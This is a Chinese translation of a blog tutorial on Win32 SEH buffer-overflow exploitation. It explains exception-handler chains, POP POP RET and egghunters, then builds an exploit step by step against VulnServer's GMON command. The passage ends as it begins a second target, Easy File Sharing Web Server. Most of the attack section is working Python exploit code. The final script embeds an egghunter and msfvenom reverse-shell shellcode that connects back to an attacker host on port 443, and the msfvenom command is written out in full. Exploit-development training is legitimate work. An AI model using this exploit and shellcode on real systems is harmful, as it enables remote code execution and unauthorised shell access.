0x00 前言 这是一篇翻译的文章,出自https://m0chan.github.io/2019/08/21/Win32-Buffer-Overflow-SEH.html,本作者只做翻译工作,版权为原作者所有,如有侵权,请联系删除。
0x01 介绍 1.1 异常处理程序101 在从漏洞利用的角度出发进行研究之前,让我们首先讨论一下异常处理程序的 真正 含义,不同的类型以及它们在Windows OS中的服务目的。
1.1.1 什么是例外? 异常是在程序/功能执行期间发生的事件
1.1.2 不同类型的处理程序 异常处理程序(EH) -一段代码,将尝试执行某项操作, 并根据结果选择预定义的课程。例如,如果失败,请尝试执行此操作。
结构化异常处理程序(SEH)- Windows内置的异常处理程序,如果开发特定的异常处理程序失败或主要使用,则可用于回退。
下一个结构化异常处理程序(nSEH)-
现在,如您在上面看到的,我确实 提到了EH / SEH, 因为异常处理程序 分为两个不同的类别,即OS级别 处理程序和/或由开发人员自己实现的处理程序。如您所见,Windows具有一个称为SEH 的操作系统级别 。
因此,基本上,异常处理程序 是程序内部编写的代码段,其唯一目的是处理应用程序可能引发的任何异常 或错误。例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 try { // Code to try goes here. } catch (SomeSpecificException ex) { // Code to handle the exception goes here. } finally { // Code to execute after the try (and possibly catch) blocks // goes here. }
上面的例子代表了一个基本的异常处理程序(EH) 在C#
由开发人员实现-有时候看着像上面的代码可以是相当吓人非程序员,但所有我们真正做的是说try
运行这段代码:如果有错误/无论catch
块包含什么内容,都将发生异常。简单!
现在,对于软件开发人员来说,编写自己的异常处理程序来管理软件可能遇到的任何错误/警告并不少见,但是Windows 还内置了一个称为结构化异常处理程序(SEH)的程序 ,它可以抛出诸如以下的错误消息Program.exe has stopped working and needs to close
:确保您之前都看过它们。
还值得一提的是,无论在OS级别 和/或开发人员级别 定义了异常处理** 程序, Windows SEH都会通过一组指定的内存位置和功能 对所有 处理程序进行集中和一致的控制和管理,无论是在 操作系统级别和/或 开发人员级别。**。
1.1.3 那么结构化异常处理程序如何工作? 那么,它们如何工作?SEH井是Windows中的一种机制,它利用称为链接列表 的数据结构/布局来包含一系列存储位置。触发异常后,操作系统将检索SEH链 的头部并遍历列表,处理程序将评估最相关的操作过程,以正常关闭程序或执行指定的操作以从异常中 恢复。(更多有关链接的信息)
当我们运行一个应用程序时,将执行该应用程序,并从该应用程序 内部运行每个功能 ,都会创建一个堆栈帧 ,然后在该函数返回 或完成执行后最终弹出 该堆栈帧 。现在对于异常处理程序 实际上同样如此。基本上,如果你运行一个函数具有异常处理程序 嵌入itself-该异常处理程序将获得它自己的专用堆栈帧
资料来源:ethicalhacker.net
如您所见,每个代码块 都有自己的堆栈框架 ,由链接每个相应框架 的箭头表示。
那么……它们是如何联系的?对每个异常处理程序来说 ,都有一个配置的异常注册记录 ,这些记录 都链接在一起形成一个链表。该异常注册记录 中包含众多领域,但即_EXCEPTION_REGISTRATION_RECORD *Next;
它定义的下一个异常注册记录 在SEH链 -这是什么使我们过导航SEH链 从顶部至底部 。
现在,您可能想知道Windows SEH 如何使用异常注册记录 和处理程序 等。当发生异常时,操作系统将从SEH链 的顶部启动,并检查第一个异常注册记录 以查看它是否可以处理异常/错误,如果可以,它将执行指向异常处理程序 的指针定义的代码块-但是,如果不能,它将使用字段移至下一条* 记录,并沿* SEH链*向下_EXCEPTION_REGISTRATION_RECORD *Next;
移动,并继续执行因此一直沿链向下,直到找到能够处理异常的 记录/处理程序*。
但是,如果没有预定义的异常处理程序功能适用,该怎么办?良好的窗口在每个SEH链 的底部放置了一个默认/通用异常处理程序,它可以提供如下通用消息Your program has stopped responding and needs to close
:通用处理程序在上图中由表示0xffffff
下图提供了整个SEH链 的简化概述
我们还可以通过加载二进制文件并单击 来查看具有免疫性 的SEH链 Alt+S
-如您在下图中所看到的,我们的SEH链 在左下角以绿色突出显示,而SEH Record / SEH Handler 在屏幕上以蓝色突出显示。堆。
在这种情况下,我们实际上有2个由SEH Records 指定的处理程序-第一个是正常实现的处理程序,而第二个是地址0028FFC4
的Window的OS Level 处理程序,我们可以在下面的屏幕快照中看到。
1.1.4 漏洞 因此,回顾一下,我们已经介绍了异常是什么,不同类型的处理程序,还讨论了结构化异常处理程序的 真正 工作原理,因此现在我们可能应该从攻击者的角度谈谈这一点以及我们如何利用这些异常处理程序。 处理程序来获得对程序执行流程的控制,类似于EIP Overwrite
第1部分中的内容。
现在在这里的 第1部分中-我们能够控制VulnServer和SLMail上的执行流程 ,从而也将它重定向到我们自己的shellcode 并弹出一个反向shell,这当然是一个非常古老的漏洞,SEH应该解决此问题,但是一个非常糟糕的实现,很快就被利用了。
现在,我不想在这里展示一个疯狂的示例,因为我将在下面的“ 示例” 部分中进行介绍,但是这里的理论是我们不使用用户控制输入覆盖EIP,而是覆盖指向下一个SEH记录 (即异常注册) 的指针记录 以及指向SE处理程序 的指针,这些指针指向我们控制并可以放置shellcode的内存区域。
如您所见,我们没有像第1 部分那样覆盖EIP寄存器 ,41414141
而是覆盖了SE Handler 和SEH Record 的指针。现在,在开始讨论Egghunter以及进行SEH溢出 时如何使用它们之前,我想快速向您展示与SE Handler 和SEH Record 的指针相比,我们如何控制EIP寄存器 。
我不会深入探讨细节,但是如果我们可以对永不重复的字符串进行模糊处理 ,然后计算偏移量,然后使用选择的数据覆盖SE Handler 和SE Record ,该偏移量可用于控制EIP。
在下面的示例中,我分析了偏移也是SE Record ,3519 Bytes
因此我在SE Record上 加上了4 x B ,在SE Handler上 加上了4 xC 。查看下面的脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/usr/bin/python import socket import sys nseh = "BBBB" seh = "CCCC" buffer="A" * 3515 buffer += nseh buffer += seh junk = "D"*(4500-len(buffer)) buffer += junk try: print "[*] Starting to Fuzz GMON" s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('bof.local',9999)) print "[*] Connected to bof.local on Port 9999" s.send(('GMON /.:/' + buffer)) print "[*] Finished Fuzzing Check SEH Chain on Immunity" s.close() except: print "couldn't connect to server"
现在,如果我们跳过Immunity 并查看SEH链, 我们将看到以下内容。
首先让我向您展示一些东西,当前应用程序处于崩溃状态(当然),但是我们仍然可以通过按Shift + F9 将异常传递给程序-如果这样做,我们会注意到一些有趣的东西。
SE Handler 在堆栈上的值被压入EIP寄存器 ,这当然不是很理想!现在,我们可以控制整个程序的执行流程。
1.1.5 提及POP POP RET 因此,如您在上面的屏幕截图/示例中所看到的,我们实际上生活在SE Handler 的土地或区域中,由于空间的限制以及我们必须使用的存储区域的小巧性,我们实际上并不好当然,我们也许可以将Egghunters纳入其中,但我将在本文后面讨论。我想首先谈谈POP POP RET
通常与SEH溢出 结合使用的技术。
1.1.5.1 什么是POP POP RET? 现在,实际上,POP POP RET
我们将SE Handler 值替换为一条POP POP RET
指令的内存地址,这将听起来很真实,这将在技术上运行这些汇编指令,从而将我们引向nSEH。
值得一提的是,弹出 值转到的寄存器并不重要,我们只需要将ESP 的值上移两次 ,然后返回即可执行。因此POP EAX ,POP EBC,POP ECX 等都将适用,只要RET
在两次弹出 后有相关说明
1.1.5.2 我们为什么要POP POP RET? 现在,如果您回想第1部分 -一旦我们获得了对返回地址 和EIP的 控制,我们就找到了一条JMP ESP 指令,以跳到我们的堆栈代码的顶部,在此我们的shell代码和NOP滑动,我们获得了代码执行权。现在,如果我们尝试向SE Handler中 添加JMP ESP 指令的内存位置,则Windows会自动将所有寄存器清零,以防止用户跳到那里的shellcode,但这确实是一个有缺陷的保护机制。
您实际上可以在下面的屏幕中看到ESI 和EDI 已被清零,以帮助减轻攻击者直接跳到Shellcode的风险。
现在就在这里POP POP RET
,让我们首先记住一下SEH Record &Handler 在堆栈上的布局
现在,让我们考虑一下POP POP RET 在这里将执行的操作:POP(向上移动4个字节), POP(向上移动4个字节)和 RET(简单返回,将地址发送给EIP作为下一条要执行的指令) -现在我们有了完全控制权; )
1.1.5.3 查找POP POP RET模块和说明 现在,我不想在这里深入探讨如何找到适用的模块和说明,因为我将在示例部分中介绍它,但长话短说是mona
与第1部分 类似,我们大量使用了mona ,在执行SEH溢出 时也将使用它-我们要做的就是发出以下命令
这将自动在所有可用模块中搜索POP POP RET
序列。
现在,就像漏洞利用一样,我们必须确保我们选择内存地址中具有0个错误字符的模块,并避免使用诸如SEEPSEH之类的* SEH防护措施*,我将在后面讨论。
1.2 彩蛋猎人101 1.2.1 什么是彩蛋猎人? Egghunter是一小段shellcode,通常为32个字节,可用于在所有内存空间中搜索我们的最后阶段shellcode
1.2.2 彩蛋者如何工作? https://www.exploit-db.com/docs/english/18482-egg-hunter-a-twist-in-buffer-overflow.pdf
我想概述一下Egghunters在这里的工作方式,而无需深入了解,就像我上面已经说过的那样
Egghunter是一小段shellcode,通常为32个字节,可用于在所有内存空间中搜索我们的最后阶段shellcode
这听起来不错,但为什么不仅仅使用简单的Short JMP 或JMP ESP 跳转到我们的shellcode- 想象一下您有很少的空间可以使用,例如50字节 。这没有足够的空间来放置一些shell代码,但是足以放置一个32字节的Egghunter
假设我们可以将32字节的 hunter放入堆栈/内存,并且能够将执行重定向到hunter的位置,我们可以告诉hunter在整个内存空间中搜索预定义的标签,例如MOCH
,我们的shellcode将是直接放在此标签(又称鸡蛋)之后
所以执行流程看起来像这样
控制执行力
跳转到包含32字节Egghunter的 小缓冲区空间
Egghunter执行并在所有内存中搜索预定义的鸡蛋
Egghunter找到鸡蛋 并执行放置在 鸡蛋* 之后的* shellcode
1.2.3 一个关于NTDisplayString的词 在本文中,我们将使用32字节 Egghunter,它利用NTDisplayString
显示为
1 2 3 4 5 6 7 NTSYSAPI NTSTATUS NTAPI NtDisplayString( IN PUNICODE_STRING String );
[参考] [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FError%2FNtDisplayString.html]
NTDisplayString
实际上是在Windows中使用相同的系统调用来显示蓝屏,那么这如何在我们的Egghunter中 发挥作用?
好吧,我们滥用了以下事实:该系统调用用于验证地址范围,并且指针也被读取而不被写入。
这种方法有一个小的缺点,它的系统调用号NTDisplayString
无法更改,而且多年来,系统调用号在Windows版本和体系结构上均已更改。
当我写这篇文章时,我实际上遇到了我的Egghunter出现的一些问题,Access Violation reading: FFFFFF
即执行INT 2E
系统调用时。原因?
因为我试图在Windows的64位系统上运行Egghunter,所以我有点愚蠢,但是由于该应用程序被编译为32位应用程序并且过去没有太多问题,因此我对此没有多加考虑。
Corelan出色地解释了Egghunter的每个组装指令的功能,因此请查看此处的文章。
0x02 例子 2.1 带Egghunter的VulnServer 在此示例中,我将介绍VulnServer ,这是一个故意易受攻击的服务器,它在端口9999上侦听任何传入的连接,并支持多种类型的命令,如之前在第1部分中看到的。
2.1.1 模糊和发现崩溃 现在类似于第1部分, 我不想演示如何模糊VulnServer 上的每个可用命令。如果您正在寻找类似的内容,请检查我们的booFuzz, 它非常酷。在这种情况下,我只打算模糊GMON
命令以节省时间并专注于开发部分本身。
让我们使用以下脚本对该命令进行简单的模糊处理来开始它。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/usr/bin/python import socket import sys buffer=["A"] counter=100 while len(buffer) <= 30: buffer.append("A"*counter) counter=counter+200 for string in buffer: print "[*] Starting to Fuzz GMON with %s bytes" %len(string) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('bof.local',9999)) print "[*] Connected to bof.local on Port 9999" s.send(('GMON /.:/' + string)) s.close() print "[*] Finished Fuzzing GMON with %s bytes" %len(string)
我们在这里所做的工作与第1部分中介绍的基本堆栈溢出非常相似,其中我们在进行以下操作
在端口9999 上连接到bof.local
发送GMON /.:/ + string += 200
-其中字符串=,A
并按200
每个周期递增。
关闭TCP连接
一旦应用程序崩溃,脚本将开始运行,我们可以检查Immunity 。
现在,当我们跳到Immunity时,我们可能会注意到一些有趣的东西,我注意到的第一件事就是Access Violation when writing to [06500000]
Immunity的页脚,这是告诉我们该应用程序处于崩溃状态,并且实际上不知道下一步该怎么做 -您可能还要注意,与包含第1部分的EIP 值不同,它看起来很正常41414141
-这是由于我们没有过度运行返回地址并获得对EIP寄存器的 控制,而是超过了堆栈上的nSEH 和SEH 值。
让我们通过在Immunity中按下来建立SEH链 ALT+S
。这样做之后,我们会注意到一些有趣的41414141
输出,我们过去在EIP寄存器中 看到的输出现在显示在SE Handler中 。右键单击41414141
并选择Follow in Stack
完美,我们现在可以使用用户提供的输入来覆盖指向nSEH 和SEH 的指针。现在,让我们找出必须提供多少用户提供的输入才能到达nSEH 和SEH 的指针
2.1.2 寻找偏移 在这里,我们再次找到偏移量,因为我确信您知道这是漏洞利用开发的非常普遍的部分,并且不仅适用于SEH Overlows- 有几种不同的方法可以执行此操作 ,例如手动 ,metasploit 和mona, 但是由于偏爱,我会在这里坚持蒙娜丽莎 。
首先,使用以下命令创建一个永不重复的字符串/循环模式
并将其与我们的模糊测试脚本结合在一起,但不必每次都重复A的增量200字节,我们只需将我们的模式与 GMON :./
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/python import socket import sys buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa...." print "[*] Starting to Fuzz GMON with pattern containing %s bytes" %len(buffer) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('bof.local',9999)) print "[*] Connected to bof.local on Port 9999" s.send(('GMON /.:/' + buffer)) s.close() print "[*] Finished Fuzzing GMON with %s bytes" %len(buffer)
现在,我们的应用程序将返回崩溃状态并报告a,Access Violation
但是这次SE Handler 包含45336E45
的内容相比41414141
-让我们再次跳转到堆栈并检查当前驻留在堆栈上的数据。
完善!如您所见,我们正在查看我们永不重复的字符串,并且无法仅通过在mona中 使用以下命令之一来计算偏移量
1 2 !mona findmsp !mona po 1En2
如您所见,我们花了3515 个字节 来超出nSEH 的值,而花了3519个字节 来超过SE Handler 的值-在我开始拼凑所有内容之前,我想首先花时间来查找任何不良字符。
2.1.3 寻找坏字符 我不会在这里解释为什么我们需要找到坏字符,因为我在第1部分中 做了很好的工作,所以就去那里。
让我们使用下面的简单脚本,通过命令将每个可能的字符的字符串发送到VulnServer GMON
。当然,我们将\x00
字符(即空字节) 排除在外。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #!/usr/bin/python import socket import sys nseh = "B"*4 seh = "C"*4 badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") buffer = "A" * (3515-len(badchars)) print "[*] There are %s" %len(badchars) + " bad chars to test" print "[*] Starting to Fuzz GMON with %s bytes" %len(buffer) + " A's" buffer += badchars #All of badchars buffer += nseh #BBBB buffer += seh #CCCC junk = "D"*(5000-len(buffer)) buffer += junk #Bunch of D"s to fill remaining space print "[*] Starting to Fuzz GMON with everything containing %s bytes" %len(buffer) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('bof.local',9999)) print "[*] Connected to bof.local on Port 9999" s.send(('GMON /.:/' + buffer)) s.close() print "[*] Finished Fuzzing GMON with %s bytes" %len(buffer)
现在,仅简要介绍我们在这里所做的事情
计算不良字符的数量并从3515
我们的偏移量 减去该值
发送 3260 A's + 255 bad chars
发送BBBB
以覆盖nSEH 值
发送CCCC
以覆盖SEH 值
填充剩余空间
我们这样做的原因是我们没有填充剩余空间,所以SEH 不会触发
ps:由于SE处理程序 (又称52字节)之后空间的限制,我决定在覆盖nSEH 和SEH 之前发送错误字符
检查内存转储,我们可以看到除了空字节 又名,我们实际上有零个坏字符\x00
2.1.4 查找POP POP RET指令 我已经详细说明POP POP RET
了指令的顺序及其重要性,因此我将坚持实用并让上面的部分A Mention on POP POP RET
进行讨论。
首先让我们找到一个适用的模块,该模块将使用以下带有mona的 命令包含此指令序列
在这里,一个明显的选择是突出的,efffunc.dll
因为它没有使用任何安全机制(例如SafeSEH
或)进行编译ASLR
让我们双击该模块,然后验证组装说明并确保这是我们所需要的。
完美,我们有POP EBX
POP EBP
和RETN
指令。这正是我们所需要的POP POP RET
对于这一部分,我建议您在POP POP RET
函数的开头放置一个断点,以便您可以逐步进行下一部分以了解会发生什么,只需在mona中 双击所选模块,然后按F2
一下POP EBX
说明即可。
现在,我将修改python脚本,以如下所示用指令seh
的值覆盖变量POP POP RET
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/usr/bin/python import socket import sys nseh = "B"*4 seh = "\xb4\x10\x50\x62" #0x625010b4 pop,pop,ret buffer = "A" * 3515 print "[*] Starting to Fuzz GMON with %s bytes" %len(buffer) + " A's" buffer += nseh #BBBB buffer += seh #CCCC junk = "D"*(5000-len(buffer)) buffer += junk #Bunch of D"s to fill remaining space print "[*] Starting to Fuzz GMON with everything containing %s bytes" %len(buffer) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('bof.local',9999)) print "[*] Connected to bof.local on Port 9999" s.send(('GMON /.:/' + buffer)) s.close() print "[*] Finished Fuzzing GMON with %s bytes" %len(buffer)
让我们运行此脚本,再次跳转到Immunity ,看看发生了什么。
在我们检查堆栈或内存转储之前,让我们快速检查一下SEH链
完美,SE处理 程序指向POP POP RET
我们所选DLL中的指令,在这种情况下0x625010B4
->essfunc.dll
快速分析堆栈和内存转储也都可以。
当然,因为我们只是在应用程序处于崩溃状态时将所有内容拼凑在一起,但是让我们将我们的异常传递给程序,通过该程序将堆栈上的SE Handler Shift+F9
的值发送到EIP寄存器 ,EIP寄存器 将依次跳转按照我们的指示。POP POP RET
完善!正是我们所需要的,将我们的SE Handler 值625010B4
in推送到EIP
了我们的POP POP RET
说明中,如左上方所示。
现在,如果我们通过按逐步操作F7
,则将首先进行操作POP EBX
POP EBP
,最后进行操作RETN
,这将使我们达到nSEH 的值-在这种情况下BBBB
只是为了更详细地解释这里发生了什么
POP EBX - POP的 栈顶到EBX注册 - 7DEB6AB9
POP EBP - POP的 栈顶到EBP注册 - 0237ED34
RETN - 返回 /堆栈的顶部为推动价值EIP寄存器 - 0237FFC4
现在您可能会注意到0237FFC4 看起来很熟悉,如果再次查看SEH Chain ,我们将看到0237FFC4 对应于nSEH
如您所见,EIP 点也024FFFC4
与左上方的指令相关,查看这些指令,我们可以看到“ 42 42 42 42 which represents our
“ B” * 4”。
2.1.5 生成Egghunter 正如我已经谈到了为什么使用Egghunter以及它们如何工作一样,我将直接进入它,首先让我们分析堆栈以及在这里使用什么。
如前所述,需要3515字节 来获取太nSEH, 而需要3519字节 来覆盖指向SE处理程序 的指针,之后我们有52字节 的空间,在这种情况下,由DDDDD...
- 表示:-当然52字节对于我们的shellcode 来说不是足够的空间,但是对于Egghunter来说已经足够了,因为我们只需要32个字节 - 只要我们可以使用相关的Egghunter 标签 通过其他方式将shellcode放入内存,我们就应该能够执行。
像往常一样,由于简单,我将在此阶段使用mona 来帮助我。
使用Mona生成Egghunter
默认情况下,mona 会生成一个带有默认标签的Egghunter,它的默认标签w00t
可以很好地工作,但是在这里我选择指定一个自定义标签MOCH
完美,现在让我们将其添加到我们的利用脚本中
1 2 egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x4d\x4f\x43\x48\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
值得注意的是,Egghunters也应检查以前发现的不良字符。
我们还将tag
在变量TWICE中 定义变量,以便Egghunter在执行和搜索内存时不会发现自己。
我还将花时间junk
用
1 2 3 buffer += egghunter junk = "D"*(5000-len(buffer)) buffer += junk #Bunch of D"s to fill remaining space
这将允许我们在SEH 之后直接添加Egghunter shell代码,然后添加一堆D来填充剩余空间,以防万一。
现在让我们生成一些shell代码,对整体漏洞进行最后调整,然后尝试一下。
2.1.6 跳到Egghunter 现在只是重申此处的目的是超速** SEH,执行一个POP POP RET
序列,该序列 又将nSEH的值 压入 EIP寄存器** -在这种情况下,我们希望将Egghunter的地址放在nSEH之上 或以某种形式的指令将使我们跳入我们的Egghunter shellcode,再次,如果我们检查堆栈,我们会发现我们走得太远。
2.1.7 生成Shellcode和最终利用 一如既往,我将在这里使用MSFVenom生成一些shellcode,因为我们并不是真正在与高级防病毒软件或任何其他工具作斗争,所以不必花哨,我们只需使用下面的代码即可。
1 m0chan@kali:/> msfvenom -p windows/shell_reverse_tcp LHOST=172.16.10.171 LPORT=443 EXITFUNC=thread -f c -a x86 --platform windows -b "\x00"
现在生成了很棒的shell代码,我们只是将其弹出到最终的利用中。
在这种情况下,你可以看到我们会从内存地址跳转0237FFC4 到0237FFCC 这将是在那里我们Egghunter会坐下。
现在在这里,我们只是用0237FFCC 覆盖nSEH 的地址,但是就像我说的那样,它不是很实用,并且最好做一个简单的短跳转(也称为操作码)-但是有一个小的变化。该指令只有2个字节 ,nSEH 需要4个字节。 EB``EB
这不是一个大问题,因为我们可以简单地使用NOPS
aka,\x90
所以我们在这里要做的是填充nSEH ,\x90\x90
这意味着2/4个字节 已满,然后是代表跳转6个字节的EB
指令\xeb\x06
。现在,nSEH 中填充了4/4个字节
我们利用现在技术上跳8个字节 ,但我们只需要跳6个字节 ,因为我们真的 只是滑动 下来NOPS 所以6个字节是所有的需要。
太好了,现在在漏洞利用程序中更新nSEH 变量以反映以下内容
1 nseh = "\xeb\x06\x90\x90"
当然,little endian 再次是相反顺序的原因。
最终利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 #!/usr/bin/python import socket import sys #Vulnserver GMON SEH Overflow w/ Egghunter #Author: m0chan #Date: 28/08/2019 nseh = "\xeb\x06\x90\x90" #0x909006be - nop,nop,jump 6 bytes with EB into egghunter seh = "\xb4\x10\x50\x62" #0x625010br pop,pop,ret eggnops = "\x90\x90\x90\x90\x90\x90\x90\x90" egghunter = ( "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x74\x65\x65\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") egg = 'MOCHMOCH' #msfvenom -p windows/shell_reverse_tcp LHOST=172.16.10.171 LPORT=443 -e x86/shikata_ga_nai EXITFUNC=thread -f c -a x86 --platform windows -b "\x00\x80\x0a\x0c\x0d" shellcode = ( "\xda\xc4\xbf\xcf\xa2\xc0\xf1\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1" "\x52\x83\xeb\xfc\x31\x7b\x13\x03\xb4\xb1\x22\x04\xb6\x5e\x20" "\xe7\x46\x9f\x45\x61\xa3\xae\x45\x15\xa0\x81\x75\x5d\xe4\x2d" "\xfd\x33\x1c\xa5\x73\x9c\x13\x0e\x39\xfa\x1a\x8f\x12\x3e\x3d" "\x13\x69\x13\x9d\x2a\xa2\x66\xdc\x6b\xdf\x8b\x8c\x24\xab\x3e" "\x20\x40\xe1\x82\xcb\x1a\xe7\x82\x28\xea\x06\xa2\xff\x60\x51" "\x64\xfe\xa5\xe9\x2d\x18\xa9\xd4\xe4\x93\x19\xa2\xf6\x75\x50" "\x4b\x54\xb8\x5c\xbe\xa4\xfd\x5b\x21\xd3\xf7\x9f\xdc\xe4\xcc" "\xe2\x3a\x60\xd6\x45\xc8\xd2\x32\x77\x1d\x84\xb1\x7b\xea\xc2" "\x9d\x9f\xed\x07\x96\xa4\x66\xa6\x78\x2d\x3c\x8d\x5c\x75\xe6" "\xac\xc5\xd3\x49\xd0\x15\xbc\x36\x74\x5e\x51\x22\x05\x3d\x3e" "\x87\x24\xbd\xbe\x8f\x3f\xce\x8c\x10\x94\x58\xbd\xd9\x32\x9f" "\xc2\xf3\x83\x0f\x3d\xfc\xf3\x06\xfa\xa8\xa3\x30\x2b\xd1\x2f" "\xc0\xd4\x04\xff\x90\x7a\xf7\x40\x40\x3b\xa7\x28\x8a\xb4\x98" "\x49\xb5\x1e\xb1\xe0\x4c\xc9\x12\xe4\x44\xa2\x03\x07\x58\xb5" "\x68\x8e\xbe\xdf\x9e\xc7\x69\x48\x06\x42\xe1\xe9\xc7\x58\x8c" "\x2a\x43\x6f\x71\xe4\xa4\x1a\x61\x91\x44\x51\xdb\x34\x5a\x4f" "\x73\xda\xc9\x14\x83\x95\xf1\x82\xd4\xf2\xc4\xda\xb0\xee\x7f" "\x75\xa6\xf2\xe6\xbe\x62\x29\xdb\x41\x6b\xbc\x67\x66\x7b\x78" "\x67\x22\x2f\xd4\x3e\xfc\x99\x92\xe8\x4e\x73\x4d\x46\x19\x13" "\x08\xa4\x9a\x65\x15\xe1\x6c\x89\xa4\x5c\x29\xb6\x09\x09\xbd" "\xcf\x77\xa9\x42\x1a\x3c\xc9\xa0\x8e\x49\x62\x7d\x5b\xf0\xef" "\x7e\xb6\x37\x16\xfd\x32\xc8\xed\x1d\x37\xcd\xaa\x99\xa4\xbf" "\xa3\x4f\xca\x6c\xc3\x45") buffer = "A" * (3515-len(egg + shellcode)) print "[*] Adding Egghunter tag " + egg + " alongside A Buffer" buffer += egg buffer += shellcode print "[*] Starting to Fuzz GMON with %s bytes" %len(buffer) + " A's" buffer += nseh print "[*] Overwriting nSEH Value with " + nseh buffer += seh #0x625010br pop,pop,ret print "[*] Overwriting SEH Value with " + seh buffer += eggnops buffer += egghunter junk = "J"*(5000-len(buffer)) buffer += junk #Bunch of D"s to fill remaining space print "[*] Starting to Fuzz GMON with everything containing %s bytes" %len(buffer) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('bof.local',9999)) print "[*] Connected to bof.local on Port 9999" s.send(('GMON /.:/' + buffer)) s.close() print "[*] Finished Fuzzing GMON with %s bytes" %len(buffer)
443
假设我们有一个打开的监听器,我们将收到一个反向外壳-在这里值得注意的是,这只能 在Windows 7 x86
此工作是由于Egghunter启动系统调用的方式,即INT 2E
-整个体系结构稍有不同,因此我们的mona Egghunter将仅在 32 Bit
我决定创建此小图来从较高的角度表示漏洞,并尝试显示每个相关的跳转-我的visio技能不是很好,所以请问!
2.2 无需Egghunter的轻松文件共享Web服务器7.2 轻松文件共享Web服务器是Win XP / Win 7时代的遗留软件,它使访问者可以轻松地通过选择的Web浏览器轻松上传/下载文件,尽管它在被Stack Overflows 充斥着众多漏洞时非常有用到SEH溢出 。
2.2.1 模糊和发现崩溃 与之前的示例类似,我将停留 在模糊测试 阶段,因为我不想花费大量时间对每个输入/参数进行模糊测试,也就是说,在此示例中,我们将以HTTP 协议为目标并boozfuzz
支持HTTP 模糊测试,因此请检查一下!我很快将只写一篇关于模糊测试和不同技术的文章。
由于该漏洞位于HTTP中, 因此有几种方法可以使用python做到这一点,我们可以使用该requests
库,也可以仅通过端口80连接并发送原始HTTP请求。 -我将在此处输入Port 80 / Raw Requests,并可能requests
在最后重写脚本。
首先让我们从一个基本的FUZZ脚本开始,直到发生崩溃为止,这里的漏洞位于GET
变量内部,底层应用程序试图在其中获取传递的输入内容,GET
并且无法进行边界检查和任何清理等操作。
这是一个示例示例,我们将使用python发送HTTP请求
1 2 3 4 5 6 7 8 9 10 11 GET /m0chan.txtAAAAAAAAAbufferhereAAAAAAA HTTP/1.1 Host: 172.16.10.15 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: SESSIONID=5905; UserID=; PassWD= If-Modified-Since: Fri, 11 May 2012 10:11:48 GMT Connection: close
正如您在第1行上 看到的那样,我们正在请求m0chan.txt
旁边的缓冲区/图案。-让我们快速编写一些python脚本以使其变得更简单。
